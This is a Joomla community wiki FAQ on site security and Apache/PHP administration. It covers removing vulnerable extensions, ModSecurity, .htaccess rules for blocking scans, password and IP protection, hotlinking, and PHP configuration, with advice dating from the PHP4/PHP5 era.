: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.&lt;br /&gt;
&lt;br /&gt;
==Why is there a warning in the extensions install screen?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s just a warning! You are of course free to install any extension you want onto your own site, but remember that &#039;&#039;&#039;YOU&#039;&#039;&#039; are responsible for the safety of your site and the quality of the applications you install.&lt;br /&gt;
&lt;br /&gt;
The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension&#039;s code.&lt;br /&gt;
&lt;br /&gt;
The [[Vulnerable Extensions List]] is a valuable source of information on what &#039;&#039;&#039;NOT&#039;&#039;&#039; to install.&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t un-publishing a vulnerable extension enough to protect my site?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension&#039;s files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.&lt;br /&gt;
&lt;br /&gt;
 www.your_site.org/components/com_bad_component/vulnerable_file.php&lt;br /&gt;
 www.your_site.org/modules/mod_bad_module/vulnerable_file.php&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions for removing a vulnerable extension&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Make a list of files to remove&lt;br /&gt;
&lt;br /&gt;
: If you can locate it, read the extension&#039;s xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:&lt;br /&gt;
&lt;br /&gt;
 mod_vulnerable.php&lt;br /&gt;
 mod_vulnerable/vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/yet_another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/index.html&lt;br /&gt;
&lt;br /&gt;
2. Uninstall via the Joomla Installer:&lt;br /&gt;
&lt;br /&gt;
: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.&lt;br /&gt;
&lt;br /&gt;
3. Check that the uninstall process was complete:&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t trust the extension to safely remove all of it&#039;s files. Compare directories and files on your system to the extension&#039;s xml list to ensure that all related files were actually removed.&lt;br /&gt;
&lt;br /&gt;
4. Optionally, remove related database tables:&lt;br /&gt;
&lt;br /&gt;
: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension&#039;s xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)&lt;br /&gt;
&lt;br /&gt;
= Apache =&lt;br /&gt;
&#039;&#039;&#039;Covers information on Apache Web server, Apache modules, .htaccess files, etc.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What is Apache modSecurity?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.&lt;br /&gt;
&lt;br /&gt;
When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.&lt;br /&gt;
&lt;br /&gt;
Quality hosting providers customize mod_security rules to suit each customer. &lt;br /&gt;
&lt;br /&gt;
If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box &#039;&#039;usually&#039;&#039; works with typical ModSecurity settings, but this is dependent on each hosting provider&#039;s unique configuration. &lt;br /&gt;
&lt;br /&gt;
Overall, mod_security is a excellent tool, but this is really something your host should manage.&lt;br /&gt;
&lt;br /&gt;
One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding &#039;&#039;&#039;SecFilterScanPOST Off&#039;&#039;&#039; to your .htaccess file.&lt;br /&gt;
&lt;br /&gt;
ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.modsecurity.org/ Official ModSecurity Site]&lt;br /&gt;
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]&lt;br /&gt;
&lt;br /&gt;
== How do I block directory scans using  .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with &amp;quot;phpMyAdmin&amp;quot; to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&#039;&#039;&#039;Sample Apache Rewrite Rule&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 RewriteRule ^phpMyAdmin /index.php [L]&lt;br /&gt;
 RewriteRule ^phpMyAdmin - [F]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Some Regular Expression Tips&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ^ Means start of pattern&lt;br /&gt;
 . Means any character other than newlines&lt;br /&gt;
 + Means one or more of the previous character&lt;br /&gt;
 * Means zero or more of the previous character&lt;br /&gt;
 $ Means end of pattern&lt;br /&gt;
 \.  Literal periods must be escaped with a leading \&lt;br /&gt;
&lt;br /&gt;
==How can I change PHP settings using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Open the .htaccess file located in your site&#039;s home directory, or if you don&#039;t have one, create a blank one now. Note the period character (.) at the beginning of the file name.&lt;br /&gt;
&lt;br /&gt;
2. Add any of the following code samples to your .htaccess file, each on it&#039;s own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.&lt;br /&gt;
&lt;br /&gt;
 php_flag register_globals off&lt;br /&gt;
&lt;br /&gt;
 php_flag allow_url_fopen off&lt;br /&gt;
&lt;br /&gt;
 php_flag magic_quotes_gpc on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
3. Save the .htaccess file in your site&#039;s home directory.&lt;br /&gt;
&lt;br /&gt;
4. Test your site&#039;s front end and back end.&lt;br /&gt;
&lt;br /&gt;
==How does FastCGI effect Joomla?==&lt;br /&gt;
&lt;br /&gt;
When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone&#039;s scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.&lt;br /&gt;
&lt;br /&gt;
Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server&#039;s main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.&lt;br /&gt;
&lt;br /&gt;
If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.&lt;br /&gt;
&lt;br /&gt;
==How can I check if mod_rewrite is enabled?==&lt;br /&gt;
&lt;br /&gt;
Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.&lt;br /&gt;
&lt;br /&gt;
1. Enable SEO in your administrator! (administrator &amp;gt; SEO &amp;gt; Enable &amp;gt; Save)&lt;br /&gt;
&lt;br /&gt;
2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.&lt;br /&gt;
&lt;br /&gt;
3. Place ONLY the following lines in your .htaccess file in the domain root folder.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Point your browser to: http://www.example.com/joomla.html&lt;br /&gt;
&lt;br /&gt;
(Replace &#039;example.com&#039; with your site&#039;s actual URL.)&lt;br /&gt;
&lt;br /&gt;
5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.&lt;br /&gt;
&lt;br /&gt;
6. Note: if your site is located in a folder, for example &amp;quot;test&amp;quot; you will need to modify the .htaccess file as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== How do I switch to PHP5 using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;IMPORTANT CAVEAT:&#039;&#039;&#039; One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!&lt;br /&gt;
&lt;br /&gt;
Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Requirements&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.&lt;br /&gt;
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.&lt;br /&gt;
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Check to be sure your site is configured to use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
2. Make a backup of the .htaccess file in your root public_http directory. If you don&#039;t have a .htaccess file at this location, create one now.&lt;br /&gt;
&lt;br /&gt;
3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.&lt;br /&gt;
&lt;br /&gt;
 AddType x-mapp-php5 .php&lt;br /&gt;
 AddHandler application/x-httpd-php5 .php&lt;br /&gt;
 AddHandler cgi-php5 .php&lt;br /&gt;
&lt;br /&gt;
4. Carefully test.&lt;br /&gt;
&lt;br /&gt;
5. Delete the backup .htaccess file. Don&#039;t leave backups of .htaccess files in public directories.&lt;br /&gt;
&lt;br /&gt;
==How do I password protect directories using .htaccess?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveat (From Apache.org)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Basic authentication should not be considered secure for any particularly rigorous definition of secure.&lt;br /&gt;
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.&lt;br /&gt;
&lt;br /&gt;
Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.&lt;br /&gt;
&lt;br /&gt;
And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.&lt;br /&gt;
&lt;br /&gt;
Don&#039;t use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.&lt;br /&gt;
&lt;br /&gt;
Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.&lt;br /&gt;
Apache Authentication, Authorization, and Access Control&lt;br /&gt;
&lt;br /&gt;
2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.&lt;br /&gt;
&lt;br /&gt;
3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it&#039;s probably best to add the new code to it.&lt;br /&gt;
&lt;br /&gt;
4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.&lt;br /&gt;
&lt;br /&gt;
 /home/mysite/public_html/.htaccess&lt;br /&gt;
 /home/mysite/auth/.htpasswd/&lt;br /&gt;
 /home/mysite/auth/.htgroups/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you&#039;ve read the always current and official documentation at Apache.org, we&#039;ll spare you the trouble of displaying it again here.)&lt;br /&gt;
&lt;br /&gt;
6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don&#039;t forget the dot at the beginning of the name.)&lt;br /&gt;
&lt;br /&gt;
7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.&lt;br /&gt;
&lt;br /&gt;
 AuthUserFile /home/auth/.htpasswd&lt;br /&gt;
 AuthGroupFile /home/auth/.htgroups&lt;br /&gt;
 AuthType Basic&lt;br /&gt;
 AuthName &amp;quot;LWS&amp;quot;&lt;br /&gt;
 require group admins&lt;br /&gt;
&lt;br /&gt;
8. Test carefully.&lt;br /&gt;
&lt;br /&gt;
9. Remove all backup .htaccess files from public_http directories.&lt;br /&gt;
&lt;br /&gt;
10. If you cannot use the Apache htpasswd utility, here&#039;s a free, online script that creates the necessary files for you. You&#039;ll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you&#039;ll need to edit the resulting files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;.htaccess Generator:&#039;&#039;&#039; http://www.webmaster-toolkit.com/htaccess-generator.shtml&lt;br /&gt;
&lt;br /&gt;
== How do I restrict directory access by IP address using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)&lt;br /&gt;
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:&lt;br /&gt;
&lt;br /&gt;
 Order Deny,Allow&lt;br /&gt;
 Deny from all&lt;br /&gt;
 Allow from 100.100.100.100&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.&lt;br /&gt;
&lt;br /&gt;
* Optional: You can add multiple addresses by separating them with comma&#039;s.&lt;br /&gt;
&lt;br /&gt;
 100.100.100.101, 100.100.100.102&lt;br /&gt;
&lt;br /&gt;
==How do I convert an htaccess.txt file into a .htaccess file?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need &amp;quot;AllowOverride Options&amp;quot; or &amp;quot;AllowOverride All&amp;quot; privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.&lt;br /&gt;
# Make any adjustments to this file as appropriate for your site, and then save it in your site&#039;s home directory as, .htaccess (including the dot).&lt;br /&gt;
# Test your site&#039;s front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.&lt;br /&gt;
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]&lt;br /&gt;
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]&lt;br /&gt;
&lt;br /&gt;
== How do I block direct hot linking to image files using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveats&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Your server must allow .htaccess files for this technique to work.&lt;br /&gt;
# If you do not have a .htaccess file in your root directory, see the related FAQ first.&lt;br /&gt;
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.&lt;br /&gt;
# Hot linked images can only be replaced by other images, not with HTML pages.&lt;br /&gt;
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.&lt;br /&gt;
# Place the following code in the .htaccess file of your root directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^$&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Explanation&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means &amp;quot;aNy Case&amp;quot;, which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Block hot linking from specific domains&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means &amp;quot;Or Next&amp;quot;, as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Display a 403 forbidden code&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:&lt;br /&gt;
&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]&lt;br /&gt;
&lt;br /&gt;
= PHP =&lt;br /&gt;
&lt;br /&gt;
== Why is Joomla! written in PHP? ==&lt;br /&gt;
&lt;br /&gt;
: Might as well get it from the horse&#039;s mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&amp;quot;What it all boils down to is that PHP was never meant to win any beauty contests. It wasn&#039;t designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP&#039;s stubborness.&amp;quot;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== What is the latest stable release of PHP? ==&lt;br /&gt;
&lt;br /&gt;
Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.&lt;br /&gt;
&lt;br /&gt;
== How do I tune for speed with PHP5 and MySQL5? ==&lt;br /&gt;
&lt;br /&gt;
: This is just a point by point summary of how I&#039;ve been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.&lt;br /&gt;
&lt;br /&gt;
: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.&lt;br /&gt;
&lt;br /&gt;
# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.&lt;br /&gt;
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.&lt;br /&gt;
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn&#039;t bad for JPG and GIF images either. Don&#039;t forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.&lt;br /&gt;
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn&#039;t write it, but it&#039;s short, to the point, and works.&lt;br /&gt;
&lt;br /&gt;
              ob_start (&amp;quot;ob_gzhandler&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Content-type: text/css&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Cache-Control: must-revalidate&amp;quot;);&lt;br /&gt;
              $offset = 60 * 60 ;&lt;br /&gt;
              $ExpStr = &amp;quot;Expires: &amp;quot; .&lt;br /&gt;
              gmdate(&amp;quot;D, d M Y H:i:s&amp;quot;,&lt;br /&gt;
              time() + $offset) . &amp;quot; GMT&amp;quot;;&lt;br /&gt;
              header($ExpStr);&lt;br /&gt;
&lt;br /&gt;
# Strip unneeded modules, components, mambots from Joomla. If you haven&#039;t used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!&lt;br /&gt;
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don&#039;t necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you&#039;ve noticed any problems, it&#039;s time to fix the code creating them, and test thoroughly before uploading the fixed versions.&lt;br /&gt;
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.&lt;br /&gt;
&lt;br /&gt;
== Should PHP run as a CGI script or as an Apache module? ==&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure Apache to use PHP: &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Configure Apache to load the PHP interpreter as an &amp;lt;i&amp;gt;Apache module&amp;lt;/i&amp;gt;&lt;br /&gt;
# Configure Apache to run the PHP interpreter as a &amp;lt;i&amp;gt;CGI binary&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;(PS: Windows IIS normaly configures as CGI by the way)&amp;lt;/span&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
It is the intention of this post to provide you information relating to &lt;br /&gt;
the configuration and recognition of each method. &amp;amp;quot;In general&amp;amp;quot;&lt;br /&gt;
historically only one method or the other has been implemented,&lt;br /&gt;
however, with the architectural changes made to PHP starting with PHP5,&lt;br /&gt;
it has been quite common for hosting firms to configure for both. One&lt;br /&gt;
version running as CGI and one version running as a Module. It is&lt;br /&gt;
generally accepted more recently that running PHP as a CGI is more&lt;br /&gt;
secure, however, running PHP as an Apache Module does have a slight&lt;br /&gt;
performance gain and is generally how most pre-configured systems will&lt;br /&gt;
be delivered out of the box.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;What is the difference between CGI and apache Module Mode?&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Apache module&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
is compiled into the Apache binary, so the PHP interpreter runs in the&lt;br /&gt;
Apache process, meaning that when Apache spawns a child, each process&lt;br /&gt;
already contains a binary image of PHP. A CGI is executed as a single&lt;br /&gt;
process for each request, and must make an exec() or fork() call to the&lt;br /&gt;
PHP executable, meaning that each request will create a new process of&lt;br /&gt;
the PHP interpreter.  Apache is much more efficient in it&#039;s ability to&lt;br /&gt;
handle requests, and maaging resources, making the Apache module&lt;br /&gt;
slightly faster than the CGI (as well as more stable under load).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;CGI Mode&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
on the other hand, is more secure because the server now manages and&lt;br /&gt;
controls access to the binaries. PHP can now run as your own user&lt;br /&gt;
rather than the generic Apache user. This means you can put your&lt;br /&gt;
database passwords in a file readable only by you and your php scripts&lt;br /&gt;
